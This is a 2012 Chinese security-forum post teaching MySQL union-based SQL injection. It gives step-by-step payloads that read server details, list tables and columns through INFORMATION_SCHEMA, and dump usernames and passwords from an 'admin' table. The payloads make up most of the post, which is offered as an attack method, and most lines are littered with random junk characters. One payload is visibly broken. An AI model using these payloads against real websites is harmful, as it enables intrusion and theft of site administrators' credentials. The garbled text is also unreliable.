找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

mysql常规注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:48:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文介绍MYSQL盲注的一些语句和方法% L# B& n) \% `! o! K- [( G' l( Y
" h, n9 `; Z8 P) F
学习盲注前先了解下 IFORMATION_SCHEMA 库" U2 P7 E5 _/ R9 @

; N9 i9 k5 H+ ?4 PMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
# R( W. K: q- a9 s存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。1 u# ^9 ^' ]3 L6 D
1.得到所有数据库名:( X( x9 E: {( {" T$ s! R
|SCHEMATA ->存储数据库名的表
) }& {1 s1 H8 n8 q& F6 l7 u1 f|---字段:SCHEMA_NAME ->数据库名称% z" m4 Q$ B6 p

$ \& h6 r3 p% T2 g# Z1 S|TABLES ->存储表名9 s6 i0 x; p) A; r: [5 l
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
% [( {0 F. B3 C/ S3 \& u|---字段:TABLE_NAME ->存储表的表名1 G5 b" L+ S. I- M9 g
. Y- G1 n( E/ |  z2 g/ p; f
|COLUMNS ->存储的字段名表
6 `  i. V; {( T: C|---字段:TABLE_SCHEMA ->该字段所属数据库名; V) c- j, k# `) {& C1 j0 N
|---字段:TABLE_NAME ->存储所属表的名称
8 f" L: a7 h( v8 ?; U. l  k4 t! @0 h9 c+ y
|---字段:COLUMN_NAME ->该字段的名称
% _! C+ U; {6 D5 J3 ^1 y  k
9 F+ s1 v  e& q  ]0 Q- Y6 K
9 {3 \: t  S* \5 K
9 o$ v( P, e# `  x###########################################################################4 Y$ a! b# I& ?9 i

7 f$ z1 r( f9 H+ l0x001 获取系统信息:7 l: G: [9 \* q# h0 b( u4 Q8 X
1 q6 H) Y  E) P/ ~! z
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
3 c/ p; P+ i$ K/ `2 H+ R7 ]0 }: z  ^; Q# B! T+ B. O8 J
/*! w, s' N1 B1 l0 f7 q/ u  T
8 \/ s2 R$ r3 T9 m
@@global.version_compile_os 获取系统版本! P8 C/ s& M. V6 @" U
- Z% o8 z9 ]# I, O( b1 Q
@@datadir 数据库路径# A8 s( X) E3 J3 ~# i& F5 Q
database() 当前数据库名称& Q, h( P, _' [7 f
0x3c62723e 换行HEX值- m  Z7 |  ?5 c8 p
: }8 G& T  T  z# c
*/: P4 Y1 G7 c; d# V+ B% R
# {5 t8 a. d" s: ]$ I, X1 j
5 [. g2 _* g$ W8 P. c  k& P
9 F: S8 Q& T* g5 A' X
######################################################################$ N' S+ s2 E! V6 D$ D3 u; P) P7 U

, S$ [  U# O3 N9 _" X) v% _( D6 H0x002 获取表名
" ]* |* @7 Z# w/ W9 A3 m% r& J/ A1 X8 n& q) f! @+ ]
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
5 P$ @' K4 o, o7 a+ {; @& ~( m, i( l8 e9 w2 R

! r+ s  i4 d; L: r) j
" A/ D  g. F! ^* Q3 r; [  h/*1 |  G8 P) ~4 d8 p7 @

) k) R9 W9 I6 d; [/ p0x67617264656e 为当前数据库名: _: P5 Z  A' Q1 ]. J0 ?
" J* C% Z. N6 m  h: |  O" [/ s! Q
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
; W# h4 p% Y2 o+ h8 ]3 |2 [
) H/ W9 a3 c5 m. ]* Q: K& x*/
' B' u4 d; D, i, c- T: a3 R6 T4 g
7 `% |2 r% j: L1 H) q' F######################################################################
0 [( M6 ?& T# h' @: ^7 D. t7 [* \, p
* B# X$ k4 {# }# I
& v2 R2 B1 B0 ]: ^- Q' c# P
0x003 获取字段& ]2 J. U( I3 {

7 ~/ @- D, a( z+ q& zunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
' O1 V6 r' a2 m" e' X( E( v$ ^0 w# \
/*9 e" H# `1 _4 p8 ]
) T+ s% s; v$ P( |( e# g
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段' C5 o/ h3 ^! \$ Q6 u9 `

( j. y0 [- F' U0x61646d696e ->选择一个表) ]5 K6 }1 x- e/ g7 Y

5 Y7 T7 R* @( [- A- j+ J* T7 p% @0x67617264656e ->数据库名% _2 p" `9 @" l4 _
- {* o4 ^! o& a; J. b8 K
*/4 n- \8 i2 B) D6 A7 T$ ]

. u* J' j7 h0 r" _2 w#####################################################################2 u2 t2 c4 Z; W2 L- U
7 d) L5 d% Y9 |# O% F) _

. l0 L) @6 E6 T% C6 ~* r+ J3 m  i) g2 T# `1 y& q, V9 V2 K1 w
0x004 获取数据" e" O/ ~% X' W7 `0 Q* Y3 Z
* Z  N6 [* A# G; \
union select 1,2,3
& ]" h) V; T, `8 }1 y3 Z: n,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin/ u: @& |2 N4 J+ `

) @& v' o. ~: Z* e+ D4 L  Vunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
# `' k6 q% x, }  ]2 A/ E) t
  l! d) G: }3 [7 i$ y3 i4 ] , v' I+ I( x, C

: P- w) j5 R. }/ i* \/** G& d5 u6 N0 q  Y8 g

3 H: u4 m1 V/ @: U* v0x3c62723e 换行符号HEX编码* v( @+ \/ ~: d+ N# m/ G$ K& Z9 n4 I
, g9 B( F1 R6 O. P; [1 ~
group_concat 同时获得该字段所有数据1 D- l' b$ J+ `* i
, x, ~- P  C: M! y5 x  w
*/
. [# T4 Z6 \3 G$ o' X+ S! v/ D5 [/ ?) J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表